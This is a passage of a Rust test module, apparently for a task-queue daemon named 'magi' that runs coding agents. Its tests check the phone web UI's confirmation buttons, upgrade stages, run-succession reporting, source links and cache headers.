22697        assert!(!handed_over(&home, ui).await);
22698    }
22699
22700    #[test]
22701    fn only_an_explicit_one_requests_a_resume() {
22702        assert!(!resume_requested(None));
22703        assert!(!resume_requested(Some("0".into())));
22704        assert!(!resume_requested(Some("".into())));
22705        assert!(resume_requested(Some("1".into())));
22706    }
22707
22708    #[test]
22709    fn the_upgrade_button_arms_before_it_restarts_anything() {
22710        // It ends the process the operator is talking to, and a phone in a
22711        // pocket taps things. One tap arms, the second commits.
22712        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22713        assert!(APP_JS.contains("Replace the binary and restart?"));
22714        assert!(APP_JS.contains("function confirmed("));
22715        // Hidden when the loop is somebody else's, matching the 409 above -
22716        // and hidden with nothing to install, matching the 200 "already
22717        // current" branch: an operator on the newest build must not be
22718        // offered a restart that would only park a run for nothing.
22719        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22720        // A park waits for the node in flight, up to an hour for an implement
22721        // wave. Leaving the button reading "Upgrading…" for that long is the
22722        // same mistake as an error rendered off screen: it looks wedged.
22723        assert!(
22724            APP_JS.contains("Parking, then restarting"),
22725            "the button says what it is waiting for"
22726        );
22727        // And nothing to install must give the button back rather than
22728        // pretending a restart is coming.
22729        assert!(APP_JS.contains("if (!out.to)"));
22730    }
22731
22732    #[test]
22733    fn stopping_the_loop_arms_but_starting_does_not() {
22734        // A stray tap must not leave the queue stopped overnight, so a stop is
22735        // two taps through the same helper the upgrade uses; a start stays one.
22736        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22737        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22738        assert!(APP_JS.contains("confirmed(button, question)"));
22739        // The label put back on timeout is the one saved when arming, not a
22740        // hard-coded upgrade caption that would rename the stop button.
22741        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
22742        assert!(APP_JS.contains("const label = btn.textContent;"));
22743        assert!(!APP_JS.contains("Neither direction is guarded"));
22744    }
22745
22746    #[test]
22747    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22748        assert!(
22749            APP_JS.contains("state.health.version"),
22750            "the operator wants to know what is running even with nothing newer"
22751        );
22752        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22753    }
22754
22755    #[test]
22756    fn the_upgrade_button_names_its_destination() {
22757        assert!(
22758            APP_JS.contains("`Update to ${update.to}`"),
22759            "pressing the button should not be a surprise about what it moves to"
22760        );
22761    }
22762
22763    #[test]
22764    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22765        for stage in ["downloading", "replaced", "parking", "restarting"] {
22766            assert!(
22767                APP_JS.contains(&format!("\"{stage}\"")),
22768                "the phone must be able to tell {stage} apart from the others"
22769            );
22770        }
22771        assert!(APP_JS.contains(".waiting_on"));
22772        // What replaced the bare "Cannot reach magi: Failed to fetch": a
22773        // fetch failing while an upgrade is in flight is not an error, it is
22774        // the sub-second gap `bind_waiting` covers, and it must not be
22775        // reported as one.
22776        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22777        assert!(APP_JS.contains("reconnects on its own"));
22778    }
22779
22780    #[test]
22781    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22782        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22783            ..APP_JS.find("function upgrade(").expect("upgrade")];
22784        assert!(!body.contains(
22785            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
22786        ));
22787        assert!(body.contains("renderUpgradeError();"));
22788        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22789    }
22790
22791    #[test]
22792    fn an_overdue_upgrade_eventually_asks_for_a_human() {
22793        // The ceiling has to clear a full hour-long park with room to spare,
22794        // or an ordinary implement wave would be reported as a stuck upgrade.
22795        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22796        assert!(APP_JS.contains("function upgradeOverdue("));
22797    }
22798
22799    #[test]
22800    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22801        assert!(
22802            APP_JS.contains("Updated to ${upgradeInfo.to"),
22803            "the operator who asked for the restart wants to know it worked"
22804        );
22805    }
22806
22807    #[test]
22808    fn an_error_is_visible_from_where_the_button_is() {
22809        // The alert used to sit in the flow under the header. On a phone
22810        // scrolled 13 500 px down to a run's action sheet that is off screen,
22811        // so tapping Resume and being told "the loop is running run b455
22812        // right now" looked exactly like a button that did nothing.
22813        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22814            ..APP_CSS.find(".alert-text").expect(".alert-text")];
22815        assert!(
22816            alert.contains("position: fixed"),
22817            "an error about the thing under your thumb has to be visible from \
22818             where your thumb is: {alert}"
22819        );
22820        assert!(
22821            alert.contains("z-index: 25"),
22822            "above the dock (20) and the run-actions FAB (15), so neither \
22823             buries it: {alert}"
22824        );
22825        assert!(
22826            alert.contains("var(--tap)"),
22827            "and clear of the dock and the home indicator: {alert}"
22828        );
22829        // The FAB sits at the same height on the right. An error that covered
22830        // it would hide the button the operator reaches for next.
22831        assert!(
22832            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22833            "the FAB's column stays free: {alert}"
22834        );
22835    }
22836
22837    #[tokio::test]
22838    async fn an_older_attempt_says_what_replaced_it() {
22839        let fx = Fixture::start().await;
22840        let q = fx.queue();
22841        let runs = fx.runs();
22842        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22843        write_run(&runs, first, RunStatus::Stalled);
22844        write_run(&runs, second, RunStatus::Blocked);
22845
22846        let mut t = Task::new(
22847            "one task".to_owned(),
22848            "do it".to_owned(),
22849            PathBuf::from("/repo"),
22850            Source::Human,
22851        );
22852        t.runs = vec![first.to_owned(), second.to_owned()];
22853        q.put(&mut t).expect("put");
22854
22855        // Two cards with the same title and no hint which is which was the
22856        // question: "why are there two of the same, one stalled and one
22857        // blocked?" The older one now names its replacement.
22858        let rows = fx.get("/api/runs").await.json();
22859        let by = |short: &str| -> Value {
22860            rows.as_array()
22861                .unwrap()
22862                .iter()
22863                .find(|r| r["short"] == short)
22864                .cloned()
22865                .unwrap_or(Value::Null)
22866        };
22867        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22868        assert!(
22869            by("bbbb")["superseded_by"].is_null(),
22870            "the latest attempt is not superseded by anything"
22871        );
22872        // Front end: the note has to be rendered, not just carried.
22873        assert!(APP_JS.contains("run.superseded_by"));
22874        assert!(APP_JS.contains("Superseded by"));
22875    }
22876
22877    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22878        let mut t = Task::new(
22879            "one task".to_owned(),
22880            "do it".to_owned(),
22881            PathBuf::from("/repo"),
22882            Source::Human,
22883        );
22884        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22885        t.status = status;
22886        t
22887    }
22888
22889    #[test]
22890    fn source_link_picks_the_page_that_filed_the_task() {
22891        let agent = |node: &str| Source::Agent {
22892            run: "20260904-014455-ab12".to_owned(),
22893            node: node.to_owned(),
22894        };
22895        let chat = source_link(&agent("chat")).expect("chat link");
22896        assert_eq!(chat.kind, "chat");
22897        assert_eq!(chat.id, "20260904-014455-ab12");
22898        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22899        let run = source_link(&agent("implement")).expect("run link");
22900        assert_eq!(
22901            (run.kind, run.href.as_str()),
22902            ("run", "#/runs/20260904-014455-ab12")
22903        );
22904        assert_eq!(source_link(&Source::Human), None);
22905        assert_eq!(
22906            source_link(&Source::Issue {
22907                number: 3,
22908                repo: "o/r".to_owned()
22909            }),
22910            None
22911        );
22912        let odd = source_link(&Source::Agent {
22913            run: "a b/c".to_owned(),
22914            node: "chat".to_owned(),
22915        })
22916        .expect("link");
22917        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22918    }
22919
22920    #[test]
22921    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22922        assert!(
22923            !APP_JS.contains("src.node === \"chat\""),
22924            "inline href rule is back"
22925        );
22926        assert!(
22927            APP_JS.matches("sourceLinkOf(").count() >= 4,
22928            "helper must serve every page"
22929        );
22930        assert!(
22931            APP_JS.matches("openChatLink(").count() >= 3,
22932            "the run page still needs its explicit chat link"
22933        );
22934        assert!(
22935            !APP_JS.contains("const openChat = el("),
22936            "the Queue card duplicates its source label link again"
22937        );
22938        assert!(
22939            APP_JS.contains("metaKids.push(link ? el(\"a\""),
22940            "the task page must link a chat source label too"
22941        );
22942    }
22943
22944    #[test]
22945    fn task_ref_carries_the_source_link_for_a_chat_task() {
22946        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22947        t.source = Source::Agent {
22948            run: "20260904-014455-ab12".to_owned(),
22949            node: "chat".to_owned(),
22950        };
22951        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22952        let v = serde_json::to_value(&out).expect("json");
22953        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22954        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22955        assert_eq!(v["source_label"], t.source.label());
22956
22957        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22958        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22959            .expect("json");
22960        assert!(v["source_link"].is_null(), "{v}");
22961    }
22962
22963    #[test]
22964    fn task_view_serializes_source_link() {
22965        let mut t = Task::new(
22966            "t".to_owned(),
22967            "t".to_owned(),
22968            PathBuf::from("/repo"),
22969            Source::Agent {
22970                run: "20260901-000000-aaaa".to_owned(),
22971                node: "implement".to_owned(),
22972            },
22973        );
22974        t.runs.clear();
22975        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22976        assert_eq!(v["source_link"]["kind"], "run", "{v}");
22977        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22978    }
22979
22980    #[test]
22981    fn task_view_serializes_urgent_flag() {
22982        let mut t = Task::new(
22983            "t".to_owned(),
22984            "t".to_owned(),
22985            PathBuf::from("/repo"),
22986            Source::Human,
22987        );
22988        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22989        assert_eq!(v["urgent"], false, "{v}");
22990        t.urgent = true;
22991        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22992        assert_eq!(v["urgent"], true, "{v}");
22993        assert!(APP_JS.contains("task.urgent === true"));
22994    }
22995
22996    #[tokio::test]
22997    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22998        let fx = Fixture::start().await;
22999        let runs = fx.runs();
23000        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23001        write_run(&runs, old, RunStatus::Blocked);
23002        write_run(&runs, new, RunStatus::Merged);
23003        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23004        fx.queue().put(&mut t).expect("put");
23005
23006        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23007        let task = &view["task"];
23008        assert_eq!(task["status"], "done");
23009        assert_eq!(task["is_latest"], false);
23010        assert_eq!(task["latest"]["short"], "bbbb");
23011        assert_eq!(task["finished_by"]["id"], new);
23012        assert_eq!(task["finished_by"]["outcome"], "merged");
23013        assert_eq!(task["closed_by_hand"], false);
23014        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23015        assert!(APP_JS.contains("finished_by"));
23016        assert!(APP_JS.contains("superseded by run"));
23017    }
23018
23019    #[tokio::test]
23020    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23021        let fx = Fixture::start().await;
23022        let runs = fx.runs();
23023        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23024        write_run(&runs, old, RunStatus::Stalled);
23025        write_run(&runs, new, RunStatus::Blocked);
23026        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23027        fx.queue().put(&mut t).expect("put");
23028
23029        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23030        assert_eq!(task["status"], "held");
23031        assert_eq!(task["is_latest"], true);
23032        assert!(task["latest"].is_null());
23033        assert!(task["finished_by"].is_null());
23034        assert_eq!(task["closed_by_hand"], false);
23035    }
23036
23037    #[tokio::test]
23038    async fn a_direct_run_has_no_task_outcome() {
23039        let fx = Fixture::start().await;
23040        let runs = fx.runs();
23041        let id = "20260901-000000-aaaa";
23042        write_run(&runs, id, RunStatus::Blocked);
23043        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23044        assert!(view["task"].is_null());
23045    }
23046
23047    #[test]
23048    fn task_outcome_does_not_guess_a_finishing_run() {
23049        let a = "20260901-000000-aaaa";
23050        let b = "20260901-000000-bbbb";
23051        let c = "20260901-000000-cccc";
23052        let dir = tempfile::tempdir().expect("tempdir");
23053        write_run(dir.path(), a, RunStatus::Blocked);
23054        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23055        // `c` has no record: unreadable.
23056        let read = |id: &str| read_run(dir.path(), id).ok();
23057        // Neither a blocked run nor a no-op finished the task; the newest run is
23058        // unreadable and still named.
23059        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23060        let out = task_outcome(&t, a, 3, read);
23061        assert!(out.finished_by.is_none());
23062        assert!(out.closed_by_hand);
23063        let latest = out.latest.expect("latest");
23064        assert_eq!(latest.id, c);
23065        assert_eq!(latest.status, None);
23066        assert_eq!(latest.outcome, "record unreadable");
23067
23068        // A Ready run settles the task as done, so it is named as the finisher.
23069        write_run(dir.path(), c, RunStatus::Ready);
23070        let t = outcome_task(&[a, c], TaskStatus::Done);
23071        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23072        assert_eq!(out.finished_by.expect("finisher").id, c);
23073        assert!(!out.closed_by_hand);
23074
23075        // A resumed run id repeats: it is still the latest by id.
23076        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23077        assert!(task_outcome(&t, a, 3, read).is_latest);
23078    }
23079
23080    #[tokio::test]
23081    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23082        // The list route has known this since the card fix above; the detail
23083        // route — what an operator actually opens from a notification about
23084        // a blocked run — did not, and went on showing a bare red BLOCKED
23085        // chip for a run a retry had already finished.
23086        let fx = Fixture::start().await;
23087        let q = fx.queue();
23088        let runs = fx.runs();
23089        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23090        write_run(&runs, first, RunStatus::Blocked);
23091        write_run(&runs, second, RunStatus::Merged);
23092
23093        let mut t = Task::new(
23094            "one task".to_owned(),
23095            "do it".to_owned(),
23096            PathBuf::from("/repo"),
23097            Source::Human,
23098        );
23099        t.runs = vec![first.to_owned(), second.to_owned()];
23100        q.put(&mut t).expect("put");
23101
23102        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23103        assert_eq!(earlier["superseded_by"], "dddd");
23104        assert_eq!(earlier["latest_attempt"]["id"], second);
23105        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23106        assert_eq!(
23107            earlier["latest_attempt"]["resolved"], true,
23108            "the run that replaced it landed, so this one reads as settled"
23109        );
23110
23111        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23112        assert!(
23113            later["superseded_by"].is_null(),
23114            "the latest attempt is not superseded by anything"
23115        );
23116        assert!(
23117            later["latest_attempt"].is_null(),
23118            "the latest attempt has no later attempt of its own"
23119        );
23120
23121        // Front end: the detail page has to read the field this route now
23122        // carries, downgrade the chip, and link to the run that replaced it —
23123        // not just repeat the list card's own logic under a different name.
23124        // The link is built off `latest_attempt.id`, the server-resolved
23125        // full id, never a bare short string a client would have to guess a
23126        // full run from.
23127        assert!(APP_JS.contains("run.latest_attempt"));
23128        assert!(APP_JS.contains("data-superseded"));
23129        assert!(APP_JS.contains("#/runs/${latest.id}"));
23130    }
23131
23132    #[tokio::test]
23133    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23134        // A -> B -> C, all Blocked except the last. A's immediate successor
23135        // (superseded_by) is B, which is itself unresolved; what an operator
23136        // opening A's page actually needs is where the task's story stands
23137        // *now* - C, not B - without depending on whether C happens to be in
23138        // whatever page of /api/runs the client last cached.
23139        let fx = Fixture::start().await;
23140        let q = fx.queue();
23141        let runs = fx.runs();
23142        let (a, b, c) = (
23143            "20260901-000000-aaaa",
23144            "20260901-000000-bbbb",
23145            "20260901-000000-cccc",
23146        );
23147        write_run(&runs, a, RunStatus::Blocked);
23148        write_run(&runs, b, RunStatus::Blocked);
23149        write_run(&runs, c, RunStatus::Merged);
23150
23151        let mut t = Task::new(
23152            "retried twice".to_owned(),
23153            "do it".to_owned(),
23154            PathBuf::from("/repo"),
23155            Source::Human,
23156        );
23157        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23158        q.put(&mut t).expect("put");
23159
23160        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23161        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23162        assert_eq!(
23163            view["latest_attempt"]["id"], c,
23164            "the chain's current head, not the intermediate Blocked retry"
23165        );
23166        assert_eq!(view["latest_attempt"]["resolved"], true);
23167
23168        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23169        assert_eq!(mid["latest_attempt"]["id"], c);
23170        assert_eq!(mid["latest_attempt"]["resolved"], true);
23171    }
23172
23173    #[tokio::test]
23174    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23175        let fx = Fixture::start().await;
23176        let q = fx.queue();
23177        let runs = fx.runs();
23178
23179        // Still Blocked: the task is not resolved, so the older run must not
23180        // read as settled either.
23181        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23182        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23183        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23184        let mut t1 = Task::new(
23185            "still stuck".to_owned(),
23186            "do it".to_owned(),
23187            PathBuf::from("/repo"),
23188            Source::Human,
23189        );
23190        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23191        q.put(&mut t1).expect("put");
23192        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23193        assert_eq!(view1["latest_attempt"]["resolved"], false);
23194        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23195        assert_eq!(view1["latest_attempt"]["done"], true);
23196
23197        // Still running: the successor exists and must be reported as such.
23198        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23199        write_run(&runs, run_a, RunStatus::Blocked);
23200        write_run(&runs, run_b, RunStatus::Implementing);
23201        let mut t3 = Task::new(
23202            "retrying".to_owned(),
23203            "do it".to_owned(),
23204            PathBuf::from("/repo"),
23205            Source::Human,
23206        );
23207        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23208        q.put(&mut t3).expect("put");
23209        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23210        assert_eq!(view3["latest_attempt"]["id"], run_b);
23211        assert_eq!(view3["latest_attempt"]["resolved"], false);
23212        assert_eq!(view3["latest_attempt"]["done"], false);
23213
23214        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23215        // to check - not a confirmed finish, so this must not read as
23216        // resolved either, even though the run is done in the sense that
23217        // nothing is still running.
23218        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23219        write_run(&runs, noop_a, RunStatus::Blocked);
23220        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23221        let mut t2 = Task::new(
23222            "claims done".to_owned(),
23223            "do it".to_owned(),
23224            PathBuf::from("/repo"),
23225            Source::Human,
23226        );
23227        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23228        q.put(&mut t2).expect("put");
23229        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23230        assert_eq!(
23231            view2["latest_attempt"]["resolved"], false,
23232            "an unverified no-op claim must not read as a confirmed finish"
23233        );
23234
23235        // Front end: an unresolved successor must not carry the "finished
23236        // this work" note or the muted chip treatment.
23237        assert!(APP_JS.contains("latest.resolved"));
23238        // ...but the link to it shows as soon as it exists, labelled by state
23239        // and without the "finished" wording or the muted chip.
23240        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23241        assert!(APP_JS.contains("Latest attempt: "));
23242        assert!(APP_JS.contains("in flight"));
23243        assert!(APP_JS.contains("not resolved"));
23244    }
23245
23246    #[tokio::test]
23247    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23248        let fx = Fixture::start().await;
23249        // No cache header at all meant browsers invented their own policy,
23250        // and one did: a phone went on showing "Candidates must be folded
23251        // before deleting. Run `magi fold` first." - deleted two releases
23252        // earlier - from a deck that no longer contained the sentence. The
23253        // button it named was right there, and unreachable.
23254        let js = fx.get("/app.js").await;
23255        assert_eq!(js.status, 200);
23256        let tag = js
23257            .header("etag")
23258            .expect("an etag to revalidate against")
23259            .to_owned();
23260        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23261        assert_eq!(
23262            js.header("cache-control"),
23263            Some("no-cache, must-revalidate"),
23264            "the phone has to ask every time"
23265        );
23266
23267        // And the asking has to be cheap, or `must-revalidate` just means
23268        // "send the whole interface on every load".
23269        let again = fx
23270            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23271            .await;
23272        assert_eq!(
23273            again.status, 304,
23274            "a deck it already has costs one round trip"
23275        );
23276        assert!(again.body.is_empty(), "304 carries no body");
23277
23278        // A weakened tag from a proxy still matches; a different build does
23279        // not, which is the case that has to deliver the new interface.
23280        let weak = fx
23281            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23282            .await;
23283        assert_eq!(weak.status, 304);
23284        let stale = fx
23285            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23286            .await;
23287        assert_eq!(stale.status, 200, "an older build must be replaced");
23288        assert!(stale.body.contains("renderRunActions"));
23289    }
23290
23291    #[test]
23292    fn the_task_detail_has_an_actions_fab_and_sheet() {
23293        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23294        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23295        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23296        // Shown only on the task route, closed everywhere else.
23297        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23298        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23299        // Refreshed whenever the detail redraws, including the loading state.
23300        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23301        assert!(APP_JS.contains("renderTaskActions(null);"));
23302        // Same renderers and routes as the Queue card, no new endpoint.
23303        let sheet = APP_JS
23304            .find("function renderTaskActions")
23305            .expect("sheet renderer");
23306        let body = &APP_JS[sheet..sheet + 3000];
23307        assert!(body.contains("changePriority("));
23308        assert!(body.contains("openTaskEdit(task)"));
23309        assert!(body.contains("renderTaskHoldBox(host"));
23310        assert!(body.contains("renderTaskDoneBox(host"));
23311        assert!(body.contains("renderTaskDeleteBox(host"));
23312        assert!(APP_JS.contains("API.priority(id)"));
23313        assert!(APP_JS.contains("API.deleteTask(id)"));
23314        // A deleted task sends the operator back to the queue.
23315        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23316        // A refusal is shown inside the sheet.
23317        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23318    }
23319
23320    #[test]
23321    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23322        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23323        let actions = INDEX_HTML
23324            .find("id=\"run-actions-box\"")
23325            .expect("actions box");
23326        assert!(task < actions, "the task entry comes first in the sheet");
23327        assert!(APP_JS.contains("renderRunTaskEntry"));
23328        assert!(APP_JS.contains("\"Open task \""));
23329        // A run without a task says why there is nothing to open.
23330        assert!(APP_JS.contains("started directly, no task"));
23331        assert!(APP_JS.contains("sheet-task-link"));
23332        assert!(APP_JS.contains("task-chip-link"));
23333    }
23334
23335    #[test]
23336    fn the_deck_never_sends_the_operator_to_a_terminal() {
23337        // The whole point of the phone UI is that a terminal is not needed.
23338        // The delete control used to answer with "Run `magi fold` first."
23339        assert!(
23340            !APP_JS.contains("Run `magi fold` first"),
23341            "the deck must offer the fold, not prescribe a shell command"
23342        );
23343        assert!(APP_JS.contains("foldRun:"));
23344        assert!(APP_JS.contains("resumeRun:"));
23345        assert!(APP_JS.contains("renderRunActions"));
23346
23347        // Folding is destructive and armed in two steps, like deleting.
23348        assert!(APP_JS.contains("armedFold"));
23349        assert!(APP_JS.contains("Yes, fold worktrees"));
23350
23351        // And the copy has to say that the two actions are opposites, because
23352        // folding throws away exactly what a resume would continue from.
23353        assert!(APP_JS.contains("can no longer be resumed"));
23354    }
23355
23356    #[test]
23357    fn a_finished_run_explains_itself_with_its_own_last_line() {
23358        // The deck used to answer "why did this stop?" with a sentence chosen
23359        // by status alone. Run e633 stalled because two judges answered with
23360        // the wrong JSON shape and its card said "The panel collapsed on
23361        // agent quota" - with `quota: []` in the record and a quota-loss
23362        // counter right above it that correctly said nothing.
23363        assert!(
23364            !APP_JS.contains("collapsed on agent quota"),
23365            "a stall must not be explained by a cause the deck did not check"
23366        );
23367        assert!(
23368            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23369            "and a block must not offer a guess with an `or` in it"
23370        );
23371
23372        // The reason it does have is `run.event`, which must reach finished
23373        // runs: gating it on movement hid the recorded truth at the one moment
23374        // the operator is reading the card to find out what happened.
23375        assert!(
23376            APP_JS.contains("setText(r.event, run.event || \"\")"),
23377            "the run's last line is rendered unconditionally"
23378        );
23379        assert!(
23380            !APP_JS.contains("moving && run.event"),
23381            "and never gated on the run still moving"
23382        );
23383
23384        // Quota keeps its own counter, fed by the number actually recorded.
23385        assert!(APP_JS.contains("lost to quota"));
23386    }
23387
23388    /// The runs tree (section) and the state chips (waiting/done) are two
23389    /// independent lenses ANDed together in `renderRuns`, and some pairings
23390    /// can never both be true for any run - every "Landed"/"Ended" run is
23391    /// done by construction, so pairing either with "Active" or "In flight"
23392    /// always rendered zero cards with the filter bar still claiming
23393    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23394    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23395    /// a handful of (waiting, status) shapes standing in for the run
23396    /// lifecycle, because `cargo test` cannot execute the front end.
23397    ///
23398    /// That stand-in list is itself the part that drifted twice in review:
23399    /// once shipped with `waiting: true` paired with a done status the
23400    /// lifecycle cannot produce, then over-corrected into treating every
23401    /// waiting run as never done - which made "Waiting on you" look
23402    /// incompatible with "Done" even for the one real, reachable shape
23403    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23404    /// that combination. This test parses the shapes and the done-rule back
23405    /// out of `APP_JS`, reimplements `runSection` and the five state
23406    /// predicates independently in Rust, and checks the resulting
23407    /// section/filter compatibility table against the lifecycle rules by
23408    /// hand - so either direction of drift fails it again.
23409    #[test]
23410    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23411        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23412        let shapes_body_start =
23413            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23414        let shapes_close = APP_JS[shapes_body_start..]
23415            .find("].map(")
23416            .expect("the shape list is closed by its done-computing .map(...)")
23417            + shapes_body_start;
23418        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23419
23420        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23421        for entry in shapes_src.split('{').skip(1) {
23422            let waiting = entry.contains("waiting: true");
23423            let dead = entry.contains("live: \"dead\"");
23424            let status_at =
23425                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23426            let status_end = entry[status_at..]
23427                .find('"')
23428                .expect("the status string is closed")
23429                + status_at;
23430            let parked = entry.contains("display_status: \"parked\"");
23431            shapes.push((
23432                waiting,
23433                entry[status_at..status_end].to_string(),
23434                dead,
23435                parked,
23436            ));
23437        }
23438        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23439
23440        // The done rule itself (`!["implementing"].includes(shape.status)`),
23441        // read out of the source rather than hardcoded, so a renamed
23442        // in-flight status can't silently make every parsed shape "done".
23443        let done_rule_marker = "done: !";
23444        let done_rule_at = APP_JS[shapes_close..]
23445            .find(done_rule_marker)
23446            .expect("the done rule follows the shape list")
23447            + shapes_close
23448            + done_rule_marker.len();
23449        let includes_at = APP_JS[done_rule_at..]
23450            .find(".includes(shape.status)")
23451            .expect("the done rule ends in .includes(shape.status)")
23452            + done_rule_at;
23453        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23454            .trim()
23455            .trim_start_matches('[')
23456            .trim_end_matches(']')
23457            .split(',')
23458            .map(|s| s.trim().trim_matches('"'))
23459            .filter(|s| !s.is_empty())
23460            .collect();
23461
23462        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23463            .into_iter()
23464            .map(|(waiting, status, dead, parked)| {
23465                let done = !not_done.contains(&status.as_str());
23466                (waiting, status, dead, parked, done)
23467            })
23468            .collect();
23469
23470        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23471        // outright, then merged/ready land, stalled/blocked/failed/
23472        // verified_noop end, and everything else is still in flight.
23473        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23474            if waiting {
23475                return "waiting";
23476            }
23477            if dead
23478                && !parked
23479                && !matches!(
23480                    status,
23481                    "merged"
23482                        | "ready"
23483                        | "stalled"
23484                        | "blocked"
23485                        | "failed"
23486                        | "verified_noop"
23487                        | "superseded"
23488                        | "already_in_base"
23489                )
23490            {
23491                return "stale";
23492            }
23493            match status {
23494                "merged" | "ready" => "landed",
23495                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23496                | "already_in_base" => "ended",
23497                _ => "flight",
23498            }
23499        }
23500
